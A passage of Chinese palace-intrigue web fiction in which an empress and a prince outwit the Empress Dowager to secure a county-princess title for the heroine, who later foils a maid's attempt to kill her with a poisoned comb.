烈国公夫人脸上显出恳切又惶恐的神色,语气带着几分急切: “这孩子虽是定远侯府教养长大,但终究生父母不明,身份有瑕。太后娘娘这般厚爱,封她为县主,臣妇以为此事或许不太合适。” 她想着她都说成这样了,总能推拒掉这事了吧。 “那张公子,嫁人又是怎么一回事?”崔皇后徐徐开口。 她面上故作好奇,但心里早就急得不行了。 傻儿子不开窍,她看好的儿媳不会飞了吧。 烈国公夫人:“……” 这个问题她要怎么回答。 她也不知道啊!!! 但她也不能否认这事,不然星儿先前欺瞒太后可就成了不敬之罪了。 她为难地看了晏逐星一眼。 晏逐星这才注意到谢翊宁一直盯着她。 她心里咯噔一下:坏了!王爷不会以为她故意隐瞒他吧? 他连国师预言改了这么机密的事都告诉她了,这么信任她。 现在她要“议亲”了却没提前跟他透个气,这多辜负他的信任啊。 要是让他觉得她藏着掖着蓄意隐瞒,心里有了疙瘩,以后还会像从前那样信任她吗? 会不会两人就此生分疏远了? 若是谢翊宁因此疏远她,晏逐星光是想想就觉得难受。 她当即开口解释:“那都是很久以前的事情了,干娘怜惜我非侯府亲生,怕我将来无依无靠,所以挑了一些好人家的儿郎让我瞧瞧。都是些八字没一撇的事情。” “先前太后娘娘说要封我做县主,连带着我的亲事也要一并安排了,这般恩宠,民女着实惶恐。” “是是是。正是如此。”烈国公夫人跟着点头。 “县主之位贵重,星儿年幼恐难担待,婚事也打算暂且放放。说来也是臣妇的一点私心,才认了这丫头做义女,实在舍不得她,想多留她在身边陪伴几年。还望娘娘怜惜臣妇的这片爱女之心。” 不曾想听完她的话,谢翊宁忽然开口: “烈国公夫人倒也不必这般妄自菲薄,本王瞧着晏大小姐甚好。既然皇祖母喜欢她,要封她当县主,那你们高高兴兴接受了就是。” “永安言之有理,本宫瞧着这丫头也是极好的。不然烈国公夫人又怎会认她当义女?既然这丫头能让太后宽心开怀,等会儿本宫便禀明皇上,请他下一道旨意封这丫头当县主吧。” 崔皇后也听明白了晏逐星和烈国公夫人话外的意思。 太后封这县主没安好心,多半是想着用婚事拿捏晏逐星。 如今儿子把话茬递过来了,她当然得接下,顺势给这丫头一个县主之位。 之前她还担忧晏逐星生父生母不详,日后若是当她儿媳妇会遭人非议。 如今有烈国公夫人当她义母,再加上县主的头衔,阻力就更小了。 “母后说得极是。”谢翊宁立刻接过话头,与崔皇后一唱一和。 “依着我朝规矩,皇祖母若要封晏大小姐为县主,这赏赐可不能薄了。黄金、锦缎、珠宝头面,田庄,这些都不能少的吧?” “你忘了,还有五百亩上好的祭田呢。”崔皇后含笑接下儿子的话。 “太后思虑周全,想必县主该有的排场体面,定会一步到位。” 母子俩你一言我一语,轻描淡写地就把晏逐星的县主名分给定下了。 更是把太后给的无用虚衔,硬生生列成了真金白银厚赐的清单。 太后听着只觉得眼前阵阵发黑,几欲吐血。 她就知道这母子俩一出现准没好事。 她深吸一口气,抬手用帕子按了按眼角:“皇后与永安所言甚是。只不过……” 她话锋一转。 “定远侯附近新丧不久,这丫头尚在孝期。若在孝期之内,便大张旗鼓地行册封之礼,受赐厚赏,岂不是将她陷于不孝不义之地?这让天下人如何看待她?又如何看待哀家与皇家?” 谢翊宁听到这话,眉头微皱。 太后果然是有备而来啊。 他微微一笑,直视太后道:“皇祖母此言差矣。定远侯夫人拐带之罪确凿,可晏大小姐念及侯府多年抚育之德,仍为阖府守足二十七日孝期,已是至纯至孝,仁至义尽。” “定远侯生前未能护她周全,本就有愧。若泉下有知,见养女得蒙皇祖母恩典获封县主,岂有不欣慰之理?此为大孝大义。” “天下百姓若是知道了,也必然会盛赞皇祖母明辨忠奸、仁德无双。” 太后后槽牙磨得咯咯作响。 这小孽障! 这么多年过去还是这般刁钻刻薄,牙尖嘴利,字字诛心。 “永安所言极是。”崔皇后也笑着接话,化解了太后的借口。 “臣妾以为今日便可请皇上下旨,定下这丫头县主的名分,以彰皇恩。一应赏赐仪物按制度先行备齐,待孝期一满,再择吉日行正式的册封之礼。” 崔皇后直接提出了解决方案。 县主的封号马上定下,赏赐按单备好先用着,至于正式的封赏仪式太后若是非要等,那就等孝期满了再补。 太后端坐凤椅之上,脸色由红转白,由白转青。 她没想到自己今日竟搬起石头砸自己的脚了。 她此刻若是出言反对或削减赏赐,岂不是当众打自己的脸? 第188章 封号有争议 太后一口银牙几乎咬碎,脸上挤出一抹僵硬勉强的笑:“皇后与永安言之有理。哀家岂是那等不通情理之人?既是如此,就封这丫头为……” 到这里,她顿了顿,似乎在认真思索。 片刻后,她拟定了给晏逐星的封号。 “便封她为翎嘉县主吧。” “翎羽的翎,嘉许的嘉。盼她如珍禽翎羽般光彩,德行堪受嘉许。” 在场的人听完脸色都不太好看。 烈国公夫人迅速垂下眼帘,掩饰眼中的惊诧与不忿。 好个“翎嘉”。 将活生生的人比作离体的羽毛? 再如何华美,也是无根的死物,太后轻贱之意昭然若揭。 可雷霆雨露俱是天恩。 太后肯封星儿为县主,已是泼天的恩典。 若此刻她不识趣,敢对御赐的封号提出异议。 那便不是“不识抬举”四个字能担待的了。 一个“藐视天恩”、“恃宠而骄”的罪名扣下来,莫说星儿,整个国公府都要吃不了兜着走。 烈国公夫人暗暗着急。 好在这时崔皇后开口了。 她的脸上漾开雍容得体的笑意,仿佛全然未觉这个封号的恶意,温声开口: “母后赐名用心良苦。只是翎羽终是身外死物,轻若无根。以此喻人,恐非长久之兆,亦有失县主尊荣体统。” 她不给太后插话的机会,斩钉截铁地提出: “臣妾斗胆,以为‘令’字更佳。令者,善也,美也。取《诗经》‘如圭如璋,令闻令望’之意。” “将翎嘉县主改为令嘉县主。既嘉其品性,更期其德行美善,声名远播。一字之易,寓意更为庄重深远,亦更符合天家气象。太后以为如何?” 太后:“……” 皇后的理由冠冕堂皇,引经据典,字字句句都在抬高晏逐星,若是反驳只会显得她这个太后刻薄无知。 一股郁气堵在胸口,太后不甘但又找不出反驳的话。 片刻后,方才开口:“皇后思虑的是。那便封其为令嘉县主吧。” “好孩子,还不快快谢恩。”崔皇后给晏逐星使了个眼神。 好处都被皇后和永安王扒拉到她怀里了,她若不接下,倒是显得她不识抬举了。 于是晏逐星爽快利落地行礼谢恩。 “叩谢太后娘娘恩典。民女必当谨记令嘉之德,不负娘娘的期许。” 太后一口老血卡在喉咙里,吐不出来又咽不下去,憋屈得胸口发闷。 看着下首叩谢的晏逐星,她强压下翻腾的怒火,脸上硬生生挤出几慈爱,声音刻意放得柔和: “好孩子,快起来。如今已是县主之尊,还称什么太后娘娘。唤哀家一声皇祖母便是,这才显得亲近。” “太后,这恐怕不妥。”崔皇后立刻出声截断,语气温和却带着不容置疑的份量。 她目光扫过晏逐星,又落回太后身上,话里有话。 “县主之封已是天恩浩荡,格外殊荣。皇祖母之称,乃天家骨血至亲方可使用。” 说到这,她又笑了起来。 “后宫诸位公主若是知道您独独厚待这丫头,恐怕会惹来非议说您偏心呢。” 开什么玩笑。 要是真让太后把晏逐星认下当干孙女,日后她与小石头就算兄妹。 那她的儿媳妇可就真没了! 烈国公夫人如今也不想让晏逐星与太后牵扯太深,赶忙附和道:“皇后娘娘所言极是。依臣妇看,君臣有别方是长久之道。这丫头尊称一句太后娘娘,恪守本分,最为妥当。” 太后简直不敢相信皇后竟能无耻到这个地步。 既要争得封号的好处,又半点亏都不肯吃。 她越想越气,胸口那股堵着的浊气猛地翻涌上冲,眼前一黑,她当场就晕了过去。 谢翊宁当机立断吩咐:“快请太医,皇祖母新封了县主,欢喜过头晕倒了。” 一旁的烈国公夫人看得叹为观止。 怪不得皇后娘娘和永安王能把太后逼得十几年不去未央宫,也不敢找茬呢。 这母子二人,翻手为云覆手为雨的手段,当真是炉火纯青。 不一会儿,文昭帝就领着许太医来了。 “母后如何了?”文昭帝没想到儿子一来,太后又晕了。 真是不让他省心啊。 “皇祖母只是太高兴太激动,所以晕了。想必没什么大碍。”谢翊宁睁眼说瞎话。 “那就好。”文昭帝虽然不信儿子的话,但面上功夫还是要做好,让许太医赶紧去替太后治疗。 瞧见皇后母子二人,许太医就觉得头疼。 完了完了,这一次恐怕又要胡说八道了。 果不其然,他给太后把脉结束后,很明确地知道太后就是被气晕了。 但永安王说太后是高兴晕了,他也不能唱反调啊。 许太医极快地扫了一眼谢翊宁,硬着头皮道:“回禀皇上、皇后娘娘。太后娘娘此前因朝华大长公主和福安郡主之事伤心过度,凤体本就有恙。” “今日骤闻册封县主的喜讯,大喜之下激动太过,气血一时上涌,这才晕厥。如今凤体无大碍,静养即可。” “朕知道了。你开方子去吧。”文昭帝挥手,让他离去。 许太医如释重负,快步退下。 一旁的烈国公夫人和晏逐星听到这话都松了一口气。 两人对视一眼,决定离开。 这时,就听崔皇后开口道:“皇上来得正是时候。” “太后先前见了这丫头甚是喜欢,晕厥前口谕封其为令嘉县主。臣妾想着既是太后的恩典,不如请陛下即刻降旨成全?省得太后凤体抱恙还悬心此事。” 谢翊宁眼中掠过一丝由衷的叹服,看向皇后。 果然姜是老的辣! 母后言语间的运筹帷幄、滴水不漏,比他厉害多了。 文昭帝:“哦?竟有此事?” 崔皇后不疾不徐地将先前的事情说了出来。 文昭帝心下顿时了然。 太后这回不是被儿子气晕的,是被皇后气晕的。 他略一颔首,沉声道:“既是如此,为人子者,以孝为先。母后凤体欠安犹念此事,朕焉能使其心愿悬空,再添忧思。” “烈国公府义女晏逐星,深得太后慈心嘉赏,实属难得。册封其为令嘉县主,以慰母后慈怀。” “并赐黄金百两,各色贡缎千匹,翡翠头面、南珠步摇、赤金镶宝首饰各十套,京郊良田五百亩以为祭田供奉,另赐西山温泉别院一座并内附庄田,以彰恩典。” 晏逐星急忙下跪叩谢圣恩领旨。 趁着太后还没醒过来,崔皇后命谢翊宁赶紧将烈国公夫人和晏逐星送出宫去。 一路上,烈国公夫人有一肚子的话想和晏逐星说。 奈何一旁还站着一个永安王,她只能又将话憋回了肚子里。 好不容易到了宫门口,烈国公夫人正准备和永安王道别,然后和晏逐星说些体己话,就听到永安王开口: “夫人今日多有辛劳,早些回府歇息才好。晏大小姐这边,就不劳烦夫人相送了。本王回府正巧途经晏宅,可与大小姐一道同行。夫人请自便。” 烈国公夫人:“……” 第189章 王爷再送礼 烈国公离开后,谢翊宁便让晏逐星上了他的马车,而他骑马跟在后边。 一路上,谢翊宁一句话都没说,晏逐星有些坐立不安。 王爷这是生气了还是没生气啊? 待会她该怎么解释今日的事情,才能让王爷相信她呢。 就这样纠结了一路。 抵达晏宅时,晏逐星下车道谢后,谢翊宁只是微微颔首表示知道了,然后竟然直接走了。 晏逐星:? 还真就只是顺路送她回家啊。 晏逐星稀里糊涂地回了宅子。 衔蝉几人当即迎了上来。 “小姐,如何了?太后可有刁难你?” “没有。”说起这事,晏逐星就有些想笑。 太后今日怕是要被气死了。 原本只想给她一个虚名拿捏她,结果被皇后娘娘和永安王架在火上烤,不得不给了她实实在在的好处。 “我如今被封为县主了。”晏逐星笑着把长乐宫里发生的事情说了出来。 听完她的话,几个丫鬟齐刷刷的震惊了。 她们还以为小姐今日入宫凶多吉少,没想到小姐竟然逢凶化吉,白捡了个县主当当? 双鲤猛地拍了下膝盖,眼睛亮晶晶的:“那咱们是不是要搬到皇上赏的庄子去了?” 衔蝉无奈地伸手戳了戳双鲤的脑门:“醒醒神儿!还咱们呢,如今得叫县主!” 而后她扭头转向晏逐星,语气又急又忧。 “主子,不是奴婢多嘴,您马上就是正经县主了。按例,护卫、车夫、粗使婆子、厨娘……林林总总加起来,没六十号人根本支应不开。光厨房就得塞进去七八个,不然来了客,连碗像样的四喜丸子都端不出来。” 她掰着手指头,语速飞快。 “外院得有个老练总管镇着,管小厮和护院;内院至少得俩管事嬷嬷,一个盯着您的衣裳首饰库房,一个管着丫鬟们别出岔子。浆洗的、缝补的、端茶递水的。哪样不得专门的人手?” 九栀和双鲤听得瞪大了眼睛,原来得有那么多人呢。 那他们如今住的这个小宅子,确实装不下那么多人。 衔蝉没有停下,继续道:“您现在身份不同了。要是还窝在这小门小户的院子里,出门没个像样的仪仗,赴宴连该带的随从都凑不齐。外头那些人嘴上不说,心里指不定怎么笑话您山鸡变凤凰,尾巴都支棱不起来呢。这不是平白让人看低了吗?” 晏逐星略一思索,点头道:“嗯,等认亲宴结束后咱们就搬。” 搬到京郊温泉山庄去,太后召见她就没那么容易了。 而且正好天气马上就要热起来了,温泉山庄冬暖夏凉,是个好去处。 最重要的是若有人去山庄刺杀她,也不会像在京城那般束手束脚,怕惊动了人。 毁尸灭迹可就方便多了。 届时,她还可以邀请骆文缨,让骆文缨领着几个姨娘去避暑。到时候让阮寄薇在她的地盘“生孩子”,就更好调包了。 晏逐星话音落下,颁布旨意的太监就来了。 领头的大太监满面红光,带着和善的笑意。 他利索地展开明黄圣旨,声音洪亮的宣旨:“奉天承运皇帝,诏曰:今特封烈国公府义女晏逐星为令嘉县主……” 周围的左邻右舍听到动静,悄悄出来看是什么情况,听到圣旨的内容都被惊呆了。 没想到他们这条街竟然出了一个县主! 宣旨的太监笑眯眯地看向晏逐星,提醒道:“恭喜县主!快接旨谢恩吧,您的好好日子还在后头呢。” 晏逐星赶紧走上前,端端正正地跪下,接下圣旨:“臣女晏逐星,领旨谢恩!吾皇万岁万岁万万岁!” 紧接着,流水的赏赐就被搬到了晏逐星的院子里。 晏逐星看着逐渐快要被填满的小院,觉得衔蝉说得实在是太有道理了。 她得尽快搬去温泉山庄了。 衔蝉几人负责整理这些赏赐,晏逐星松了一口气,正准备回屋休息休息,就看到了谢翊宁斜斜倚靠在她寝屋前的门廊上,姿态闲适得仿佛在王府后院。 她瞪圆了眼睛,不可思议道:“王爷,您怎么来了?” “哟~这不是我们新晋的令嘉县主么?”谢翊宁微微挑眉,拖长了调子,语气里满是戏谑。 “怎么,从前是晏大小姐时本王来就可以,如今成了县主,倒是不行了?” “我绝对没有这个意思!”晏逐星把头摇得跟拨浪鼓似的。 她还以为永安王走了就不会回来呢。 谁知道他竟然又折返回来。 她赶忙表忠心:“您想来就来,日后我搬去了温泉山庄,一样欢迎王爷大驾光临。” 看着永安王那双含笑的眼睛,晏逐星莫名有些心虚。 虽然她也不知道自己在心虚什么。 “哦~是么?”谢翊宁嘴角噙着一抹玩味的笑,手中的折扇轻轻点了点掌心。 “毕竟你和张公子议亲这么大的事情都没告诉本王,本王还以为你要过河拆桥,从今往后与本王划清界限呢。” “议亲是没有的事,那是我说来糊弄太后的。她非要用婚事来拿捏我,我只能出此下策了。”晏逐星赶忙反驳,声音莫名带了一点儿委屈。 “再说了,我连杀朝华大长公主的事情都告诉王爷了,我还能有什么事瞒着您。” 她嘟囔道:“咱们现在可是一条绳上的蚂蚱,我骗谁也不敢骗您呀。” 听到她这话,谢翊宁嘴角悬挂着的假笑总算多了几分真心实意。 也是,这要命的事情晏逐星都能告诉他了,这议亲有什么可隐瞒的。 一定是权宜之计! “说得也是。总归都是太后的错。”谢翊宁当场就不生气了。 他自顾自地领着晏逐星去了花厅,顺手又给晏逐星倒了茶。 晏逐星跟在他身后,陡然生出了一丝恍惚感。 她怎么感觉好像她才是外人,现在是来永安王的地盘做客? 谢翊宁端起茶杯轻啜一口,发觉是碧螺春,眉梢微挑看向她:“喜欢这个?本王新得了些父皇赏下的雨前龙团,滋味远胜于此。明日让照夜给你送一饼来尝尝鲜。” “多谢王爷。”晏逐星习惯性地道谢。 道谢过后才意识到永安王要给她送的是什么。 第190章 九族不够砍 罗岕茶年产不足百斤,其中进贡宫廷仅二十斤。 如今民间一两顶级罗岕茶价值一两黄金。 平常那些王公大臣,能得皇上赏几两罗岕茶,那都是天大的脸面了。 现在永安王居然这么随便就说要送她两斤??? 她抬头看向谢翊宁,他却像没事人似的,还在那儿慢悠悠地喝茶,好像刚才送出去的不是什么了不得的宝贝,就是块普通点心。 “王爷,此物太过贵重……”晏逐星斟酌着开口,想着怎么拒绝才不会让他不开心。 结果话没说完就被谢翊宁打断了。 “打住,本王懒得听这种话。这又不是什么值钱玩意,你多看些好东西,日后才不容易被人骗。” 晏逐星一时无言:“……” 不愧是永安王,有钱有势又得宠,好东西堆成山。 这么金贵的御赐贡茶,在他眼里竟然跟普通玩意儿似的。 她心里忍不住有点酸溜溜的。 不过转念一想,这东西马上就要落到自己手里了。 嘿,那还酸什么酸! 管他王爷当不当回事呢,好处实实在在是自己的就行,想那么多干嘛。 她干脆利落地再次道谢:“多谢王爷!” 见她还站着,谢翊宁微微抬起下巴,指了另一旁的椅子。 “坐呀。难不成还想让本王亲自搀扶着你坐下么?” 晏逐星立马乖巧地坐了下去:“倒也不必劳烦王爷。” 见她坐下,谢翊宁才说起今日在宫中的事情。 “看来太后是打算在你的婚事上做文章了。”提起太后,他眉眼里满是不喜。 晏逐星点了点头,笑意也收了起来。 “今日没指婚成功,难保她日后不会再重新想什么阴招。此事,不得不防。” “你打算怎么防?”谢翊宁开口询问。 晏逐星便将自己打算搬去温泉山庄,暂时先远离太后召见的事情说了出来。 没想到,谢翊宁听完笑出了声。 “王爷笑什么?”晏逐星不解。 “本王还以为按照你的性子,会提出和本王一块把太后给杀了呢,省得日后她再找你麻烦。”谢翊宁说完没忍住自己又笑了。 晏逐星:“……” 说得好像她是什么没有感情的杀手似的,怪吓人的。 再说了,杀太后哪有杀公主和郡主简单,太后几乎不出宫,她若在宫里动手,很难全身而退。 到时候被发现她杀了太后,九族怕是都不够砍的。 哦不,她如今无父无母,孑然一身,皇家连她的一族人都找不到,还砍啥呢。 想到这,晏逐星乐了,不由自主地笑出了声。 “你又笑什么?”这下轮到谢翊宁好奇了。 晏逐星憋着笑把自己刚刚想到的事情说了出来。 两人对视一眼,都没忍住,不约而同地笑出了声。 “你这小脑袋瓜子倒是机灵。”谢翊宁用扇子点了点她的脑门。 而后他给晏逐星说起了太后的事。 “依照太后的性子,今日算计失败了,来日肯定还会再找你麻烦。直到她知道你惹不起,才会罢休。” 就像他小时候那样,太后总是找他母后的麻烦,每次找母后的麻烦他就往地上躺,把太后给逼走。 但太后就跟那打不死的苍蝇一样,老是折腾母后,烦不胜烦。 直到最后一次他差点把自己弄死在长乐宫,父皇发了好大的脾气,太后怕被背上谋害皇嗣的罪名,这才彻底消停,不敢再招惹他和母后。 “所以本王劝你,若要反击,那就要一击毙命,不要让她一直蹦跶不停,怪烦人的。” 王爷这副过来人的语气,一看就经验十足。 晏逐星郑重点头:“多谢王爷提醒,我记下了。” * 太后苏醒后,得知皇帝速度快得连封县主的圣旨都颁布出去了,差点一口气没喘上来就又晕过去。 “逆子,混账,本宫要你们不得好死!” 她气急败坏地怒骂。 今日算计晏逐星不成,竟然还倒贴了那么多东西,她快气死了。 那座温泉山庄从前乃是秦王妃所有,秦王谋反后那温泉山庄自然也被抄没归了国库。 她原本打算等福安成婚时把那个山庄给她当陪嫁的,如今竟然被皇帝赏给了晏逐星。 她怎能不气!!! 还没等她发泄完怒火,外边的宫女就跑来通传:“启禀太后娘娘,驸马爷求见。” 太后深吸好几口气,又喝了一盏冷茶,这才将心头的躁意和怒火给压了下去。 姜嬷嬷看着这一幕,那句“冷茶伤身”还是咽回了肚子里。 太后如今火气正旺,她还是不要触霉头了。 “宣驸马觐见。” 太后心情平复了许多,方才宣召李兰亭。 不曾想,李兰亭接下来的话却让她火冒三丈。 “臣就想问一句,”李兰亭压着火,“太后娘娘说要替公主报仇,结果就是给仇人封赏吗?” 他憋了一肚子气。 那天太后让他别管,说她自有主张,他就老实等着。 结果等来等去,等到的竟是太后喜欢晏逐星,还封了她当县主的消息。 看着一台接一台的赏赐搬进晏宅,他实在忍不住了直接冲进宫来问个明白。 “你敢这么跟哀家说话?!”太后气得狠狠一拍桌子。 “臣不过是为公主鸣不平罢了。”李兰亭脖子一硬,豁出去了。 “晏逐星害死了公主和福安郡主!您倒好,反手封她当县主。您想过没有,公主她们在地下知道了,该多难受、多寒心!” 太后被他噎得一时说不出话。 朝华是她亲女儿,福安是她亲外孙女,难道她还不如李兰亭一个外人疼孩子?! “愚蠢,你懂什么!”太后怒道。 “女人嫁人就是第二次托生。嫁错了人,这辈子就毁了!现在她是县主,算半个皇家人,哀家就能名正言顺给她指婚,让她嫁个烂人,一辈子都过不好!” “届时她身陷囹圄,求生不得求死不能,岂不是比一刀杀了她更痛快?” 被太后这么一骂,李兰亭也从盛怒下渐渐清醒。 他“扑通”一声跪倒在地,低头认错:“太后娘娘息怒!臣一时情急,说话没过脑子,冲撞了您。臣知错,任凭太后责罚!” 太后深吸一口气,想着他到底是为了女儿和外孙女才这般失控,也算情有可原。 沉默片刻后,冷着脸道:“念在你一片忠心,又是为朝华和福安着急,这次哀家就不重罚你了。” “但冲撞哀家,不能不罚。” “你自行掌嘴十下。小惩大戒。” 说完,她看也不看跪在地上的李兰亭,挥了挥手:“退下吧。” “多谢太后娘娘宽宏大量。”李兰亭攥紧了拳头,每一个字都像是从牙缝里挤出来的。 他站起身,走到长乐宫敞开的殿门前。 阳光刺眼,殿内殿外的人都看得分明。 他沉默了片刻后,方才抬手对着自己的脸狠狠抽了下去。 “啪!啪!啪!” 清脆响亮的耳光声在寂静的宫殿里回荡,一声接着一声,毫不含糊。 宫人们都倒吸一口凉气。 驸马真是个狠人啊。 他们统统别过头,不敢看,生怕被李兰亭记恨上。 十下打完,李兰亭两边脸颊已经红肿起来,火辣辣地疼。 他放下手,站得笔直,仿佛那十下不是打在自己脸上。 然后对着殿内方向躬身行了一个无可挑剔的礼方才离开。 直到走出宫门,他脸上所有的伪装瞬间褪去,只剩下冰冷的恨意。 太后老了,手段已不堪用。 靠她那样的法子,猴年马月才能为朝华和福安报仇。 他等不了太后慢慢复仇了。 他夜夜入梦都是福安的哭喊和朝华的呼唤。 认亲宴那日,他一定要晏逐星去死。 第191章 针对她的局 烈国公府办认亲宴这天,京城里有头有脸的人家几乎都到齐了。 一来是烈国公夫妇为人不错,人缘好;二来众人也是冲着刚被封为县主的晏逐星来的。 虽说她来历不明,亲生爹娘到现在也找不着,可当面谁也不敢说三道四。 毕竟能同时让有烈国公府和太后撑腰的人,万里挑一。 晏逐星提前一夜住到了烈国公府。 烈国公府这次是真给她撑足了脸面,所有安排都照着府里正经嫡出小姐的规矩来,一点不含糊。 吃穿用度、伺候的人手,样样都是顶格的。 府里还特意给她收拾出了一个单独的院子,地方敞亮,取名就叫“摘星院”。 此刻晏逐星端坐镜前,身着月白软绸中衣,青丝垂落腰际。 专门请九章堂赶制出的流光缎吉服已经被挂在了一旁的雕花衣架上,只等着待会穿上。 “县主,咱们先绾发,再更衣。”衔蝉指尖掠过她如瀑长发,拿起玉梳,脸上是掩不住的喜悦。 “您放心,今儿个奴婢肯定把您这头发梳得又光又亮,再配上皇上御赐的头面,保管您一出场就艳惊四座。” 她真心为自家小姐高兴,熬了那么久,总算苦尽甘来了。 晏逐星看着镜中她兴奋的样子,唇边也浮起一丝笑意:“嗯,那就交给你了。” 衔蝉正要将梳子落向晏逐星柔顺的青丝,外间忽然传来一阵急促的脚步声。 紧接着,一个小丫头掀开帘子一角探进头来,脸上堆着笑,眼神却带着几分显而易见的焦急。 “衔蝉姐姐可在?快、快随我去趟小厨房。” “发生什么事了?”衔蝉梳头的手一顿,看向了小丫头。 小丫头喘着气,急声道:“夫人特供县主的金玉满堂羹出岔子了。那活石斑鱼混进了死鱼,采买的人又不见了。如今夫人催得紧,李妈妈都急哭了,说只有您最懂县主口味,也最会挑鱼,求您千万过去掌掌眼。这要是误了吉宴,我们可都完了!求您了!” 衔蝉眉头微蹙,她还得给小姐梳头呢。 这厨房的事情,怎么也落到她头上了。 不止是她,晏逐星也察觉到了不对劲。 她身边的几个大丫鬟,两刻钟前陆陆续续地被叫走了。 双鲤被叫去陪尉迟敦玩球,九栀被叫去听烈国公夫人吩咐,如今衔蝉也要被人叫走。 这摆明就是要让她身边空无一人。 衔蝉正欲拒绝,晏逐星就拍了拍她的手:“你就随她去看看吧。” “可奴婢还要给您梳头呢。”衔蝉不放心,“若耽误了您亮相的吉时,那可就不妙了。” “奴婢是夫人特意派来给县主梳头的,若县主不嫌弃奴婢的手艺,奴婢可以代劳。”这时,门外站出来了一个丫鬟。 晏逐星记得她叫莺歌。 烈国公夫人在摘星院给她配了四个大丫鬟,只是她用惯了衔蝉,便没有让她们伺候。 “好,那就你来替本县主梳头吧。”晏逐星不动声色地看了衔蝉一眼,重重按了她的手一下。 衔蝉会意,小姐是有事要支开她。 她点点头:“那就交给这位姐姐了。县主,奴婢随这丫头去厨房走一趟。” “嗯。去吧。”晏逐星唇角依旧挂着淡淡的笑意,只是笑意不达眼底。 莺歌恭恭敬敬地走上前,伸手去拿妆台上那柄温润的玉梳。 然而就在她指尖触碰到梳子的瞬间,手腕却猛地一抖。 玉梳脱手,重重摔落在光洁的地砖上,发出一声脆响。 莺歌脸色唰地惨白,噗通一声就跪了下去。 她身体抖得厉害,双手死死攥住了裙摆,声音带上了一丝哭腔:“奴婢该死!求县主恕罪!” 晏逐星将她的失态尽收眼底。 她淡淡道:“今日是吉日,莫要说什么死不死的,不吉利。起来吧。梳子罢了,换一把便是。” “多谢县主宽宏大量!”莺歌如蒙大赦,踉跄着爬起来胡乱用袖子擦了擦眼泪。 “奴婢这就将功折罪,定给您梳个顶顶漂亮的头发!” 她一边说着,一边急急转身,径直走向角落一个半开的妆匣从最里边摸索出一把崭新的银梳。 莺歌深吸一口气,像是下定了某种决心,握着那把银梳走回晏逐星身后。 “县主,这是夫人特意请名匠为您打造的梳子,一柄价值上百两呢。夫人待您真是如同亲女儿一般呢。”她的声音带着温柔与羡慕。 “嗯,夫人待我是很好。”晏逐星点了点头,目光一直盯着镜子没离开过她。 “今日过后,您就是国公府……”莺歌一边说话分散晏逐星的注意力,一边举起手准备将梳子落向晏逐星的头发。 却没想到,一直对着镜子安静坐着的晏逐星忽然闪身避开了她的举动。 “县主,您这是做什么?”莺歌满脸错愕。 没想到,晏逐星反手就扣死了她握着梳子的手腕,另一只手狠狠戳向了她手肘内侧的麻筋。 莺歌猝不及防,只觉得半边身子瞬间酸麻剧痛,手中的银梳脱手直直坠向地面。 晏逐星扣着莺歌手腕的手顺势一拽,她整个人就被一股巨力带得向前扑倒,重重砸在坚硬的妆台边缘,疼得她眼泪都飙了出来。 “县主……” 她还想狡辩什么,晏逐星就用膝盖顶住她的后腰,将她双手反剪,没有丝毫怜香惜玉,以一个绝对压制的姿势将她死死摁在妆台上。 莺歌的脸贴着冰冷的桌面,惊恐地瞪大了眼睛。 她想不明白她到底哪里露馅了,怎么这么快就被晏逐星发现了。 明明她差一点就要得手了。 第192章 歹毒的算计 “谁派你来的?”晏逐星语调毫无波澜,但落在莺歌耳朵里,却充满了杀意。 她身子不自觉地哆嗦,但还是嘴硬不承认:“县主,奴婢不知道您在说什么。” “我数到三,你若不说实话,那么我就送你去见阎王了。” 好歹是国公府的丫鬟,晏逐星决定还是给烈国公夫人一点面子,没有马上就拧断她的脖子。 “奴婢真的不明白您在说什么啊……”莺歌垂死挣扎。 “一、二、三。”晏逐星没有继续浪费时间,快速地把一二三给数完了。 见她还是不说,晏逐星直接将她用力一推。 她整个人就面朝下直直地摔趴在了地上,还没等她反应过来,晏逐星的脚就用力踩在了她的背上。 莺歌发出了凄厉的惨叫。 但晏逐星没有停顿,她的动作很快,紧接着就半蹲下抓住她的手去捡起落在地上的那把银梳,而后用力梳向了她的头。 “不——” 莺歌尖叫了起来,比先前的声音更加惊恐与害怕。 “不要。” 但已经晚了。 晏逐星动作十分简单粗暴,直接用那梳子把她头发梳得乱七八糟,甚至还梳出了血。 莺歌面若死灰。 她知道,她完了。 晏逐星见她浑身无力,径直松开了她的手,仔细观察起了她的情况。 这把银梳看着很正常,莺歌如今只是面色发白了一些,看着像是受了惊吓,但也没有任何要死的迹象啊。 难不成是她猜错了? “你怎么还没死?”晏逐星盯着她喃喃自语。 本来绝望的莺歌听到这话:“……” 晏逐星将绑在小腿上的匕首拔了出来。 “没死那我送你一程吧。反正你刺杀我的任务失败了,你之后也活不成的。不用谢。” 晏逐星说完就要把匕首刺向她的后心窝处。 “县主饶命,我什么都说。”莺歌尖叫了起来。 晏逐星手中的匕首划破了她的皮,但还是及时地收住了手。 莺歌脸上挤出一个比哭还难看的苦笑:“县主,您杀不杀奴婢,都一样了。再过半个时辰,奴婢都得死。” 她顿了顿,语气里带上一丝微弱的乞求。 “奴婢斗胆求您,看在我都说了实话的份上,能不能发发慈悲帮帮我的家里人?他们什么都不知道……” “你没资格跟我谈条件。” 晏逐星的声音冰冷,依旧没有松开她。 “呵,您说得对……奴婢该死,奴婢该死……”她语无伦次,眼泪混着鼻涕流下,狼狈不堪。 “我们这种生来就命贱如草的奴婢,怎么配跟您这样的贵人讨价还价。” 她像是彻底放弃了,眼神空洞地看着前方,开口将一切和盘托出。 “前天夜里有一个蒙着脸的人找上了我。我不知道他是谁,他就给了我这把梳子,让我用它给您梳头。” “他说梳子上有有剧毒,神仙也看不出来。只要梳头时划破您,哪怕一点点头皮。半个时辰,您就会喘不上气,像中风一样死掉。” 晏逐星眉心一拧。 那人是算准了时辰来杀她。 半个时辰后,正是她梳妆完毕,身着华服,作为国公府新认的义女在满堂宾客面前最光彩夺目的时刻。 届时,她会在所有人的注视下突然“中风”暴毙。 众目睽睽之下,一个刚被认作义女的县主离奇猝死,国公府必然颜面扫地。 而她的死也将成为京中所有人的笑柄和谈资。 那个藏在阴影里的幕后之人,却能将自己摘得干干净净,不留半点痕迹。 真是歹毒的算计。 “我不敢答应,我哭着求他。”莺歌的声音陡然拔高,打断了晏逐星的思绪。 “可他说我不干就杀我全家!杀光我爹娘!杀光我弟妹!一个不留!当时刀就架在他们脖子上,您说我能怎么办?!我能眼睁睁看着我爹娘弟妹因为我被活活砍死吗?!我做不到!呜呜呜呜……” 说到最后,她再也压抑不住发出撕心裂肺的嚎哭。 